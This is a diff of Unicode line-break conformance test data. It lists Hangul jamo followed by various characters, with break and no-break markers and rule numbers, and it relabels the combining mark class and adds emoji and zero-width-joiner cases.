+× 1100 × 0308 × 002F ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 1100 × 0308 × 0020 × 002F ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 1100 × 2060 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 1100 × 0020 × 2060 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 1100 × 0308 × 2060 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 1100 × 0308 × 0020 × 2060 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 1100 × 0308 × 2060 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 1100 × 0308 × 0020 × 2060 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 1100 × 200B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 1100 × 0020 × 200B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 1100 × 0308 × 200B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 1100 × 0308 × 0020 × 200B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 1100 × 0308 × 200B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 1100 × 0308 × 0020 × 200B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 1100 ÷ 1F1E6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 1100 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 1100 × 0308 ÷ 1F1E6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1100 × 0308 ÷ 1F1E6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1100 ÷ 261D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1100 × 0020 ÷ 261D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1100 × 0308 ÷ 261D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 261D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1100 ÷ 1F3FB ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1100 × 0020 ÷ 1F3FB ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1100 × 0308 ÷ 1F3FB ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1100 × 0001 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1100 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1100 × 0308 × 0001 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1100 × 200D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1100 × 0020 ÷ 200D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1100 × 0308 × 200D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 200D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 1100 ÷ 00A7 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 1100 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 1100 × 0308 ÷ 00A7 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 1100 × 0308 ÷ 00A7 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 1100 ÷ 50005 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 1100 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 1100 × 0308 ÷ 50005 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 1100 × 0308 ÷ 50005 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 1100 ÷ 0E01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 1100 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 1100 × 0308 ÷ 0E01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 1100 × 0308 ÷ 0E01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 1100 × 3041 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 1100 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 1100 × 0308 × 3041 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 1100 × 0308 × 3041 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 11A8 ÷ 0023 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 11A8 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 11A8 × 0308 ÷ 0023 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 11A8 × 0308 ÷ 0023 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 11A8 ÷ 2014 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 11A8 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 11A8 × 0308 ÷ 2014 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 11A8 × 0308 ÷ 2014 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 11A8 × 0009 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 11A8 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 11A8 × 0308 × 0009 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 11A8 × 0308 × 0009 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 11A8 ÷ 00B4 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 11A8 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 11A8 × 0308 ÷ 00B4 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 11A8 × 0308 ÷ 00B4 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 11A8 × 000B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 11A8 × 0020 × 000B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 11A8 × 0308 × 000B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 000B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 11A8 × 0308 × 000B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 000B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 11A8 ÷ FFFC ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 11A8 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 11A8 × 0308 ÷ FFFC ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 11A8 × 0308 ÷ FFFC ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 11A8 × 007D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 11A8 × 0020 × 007D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 11A8 × 0308 × 007D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 007D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 11A8 × 0308 × 007D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 007D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 11A8 × 0029 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 11A8 × 0020 × 0029 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 11A8 × 0308 × 0029 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 0029 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 11A8 × 0001 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 11A8 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 11A8 × 0308 × 0001 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 11A8 × 0308 × 0029 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 0029 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 11A8 × 000D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 11A8 × 0020 × 000D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 11A8 × 0308 × 000D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 000D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 11A8 × 0308 × 000D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 000D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 11A8 × 0021 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 11A8 × 0020 × 0021 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 11A8 × 0308 × 0021 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 0021 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 11A8 × 0308 × 0021 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 0021 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 11A8 × 00A0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 11A8 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 11A8 × 0308 × 00A0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 11A8 × 0308 × 00A0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 11A8 ÷ AC00 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 11A8 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 11A8 × 0308 ÷ AC00 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 11A8 × 0308 ÷ AC00 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
